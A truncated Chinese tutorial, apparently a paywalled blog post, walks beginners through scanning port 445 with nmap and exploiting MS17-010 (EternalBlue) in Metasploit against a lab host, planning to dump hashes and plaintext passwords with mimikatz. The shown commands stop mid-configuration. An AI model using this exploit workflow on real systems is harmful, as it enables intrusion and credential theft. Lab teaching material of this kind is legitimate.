本文详细介绍了新手如何通过ms17-010漏洞配合mimikatz工具，实现对目标主机的445端口扫描、权限获取、进程迁移及密码抓取的过程。首先使用Nmap扫描目标主机的开放端口，接着利用永恒之蓝漏洞获取靶机权限，并进行msf攻击机的配置。然后进行进程迁移，确保稳定性。最后，通过mimikatz模块获取靶机的密码哈希和明文密码。请注意，此类操作仅用于学习，禁止非法使用。
第一步：使用Nmap扫描目标主机开放端口
要知道ms17010是对445端口进行攻击的，所以我们要先对目标机进行端口扫描
nmap 192.168.48.110
第二步：获取权限
在这里我们利用ms17010（永恒之蓝）漏洞来获取靶机的权限。
运行msf，使用ms17010漏洞。
msf5 > use exploit/windows/smb/ms17_010_eternalblue
接下来show options查看需要配置的参数
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
剩下的就是需要我们设置LHOST、RHOST、payload，分别是攻击机IP、靶机IP、攻击载荷。
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.48.1 //攻击机ip
lhost =&g
6270
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
最低0.47元/天 解锁文章
